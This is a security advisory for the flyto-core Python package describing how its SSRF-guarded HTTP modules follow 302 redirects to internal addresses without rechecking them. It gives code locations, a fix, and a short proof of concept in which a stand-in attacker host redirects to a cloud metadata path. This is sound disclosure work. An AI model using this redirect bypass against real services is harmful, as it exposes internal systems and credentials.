GHSA-c9hr-64h3-gxpc Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation

• PyPI flyto-core: < 2.26.7 → fixed in 2.26.7

Summary The HTTP modules that DO call the SSRF guard (`http.get`, `http.request`, `http.batch`) validate only the initial URL, then issue the request with aiohttp's default `allow_redirects=True` and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body. Root Cause `src/core/modules/atomic/http/get.py:116` calls `session.get(url, ...)` with no `allow_redirects` argument → aiohttp default `True`. `request.py:60` sets `allow_redirects=follow_redirects` (default True at :327); `batch.py:57` likewise. A repo grep of `http/` for `on_request_redirect` / `response.history` returns NONE — there is no redirect interception or Location revalidation. Impact Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C. Proof of Concept Verified live: `http.get` with allowlisted base `127.0.0.1` followed a `302 Location: http://127.0.0.2/...` (non-allowlisted) and returned `INTERNAL-VIA-REDIRECT`. ``` attacker hosts http://attacker.tld/r -> 302 Location: http:///latest/meta-data/... execute_module http.get {"url":"http://attacker.tld/r"} ``` Attack Chain 1. Entry: `execute_module http.get {url:"http://attacker.tld/r"}` (attacker 302->internal). Guard: `validate_url_with_env_config(url)` (get.py:104). Bypass proof: validation runs on `attacker.tld` (public) → passes; never re-run on the redirect target. 2. Sink: `session.get(url)` (get.py:116) — no `allow_redirects` arg → aiohttp default True. Bypass proof: grep of `http/` for `on_request_redirect`/`response.history` → NONE. 3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118). Bypass Evidence Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp `ClientSession.get` default `allow_redirects=True`; module never sets it False; no per-hop revalidation exists. Affected Versions `<= 2.26.6` — `get.py:116`, `request.py:60`, `batch.py:57` present on latest release tag. Suggested Fix Set `allow_redirects=False` and manually revalidate each `Location` header through `validate_url_with_env_config` before following, or cap and re-check every hop. Credit Vulnerability discovered by zx (Jace).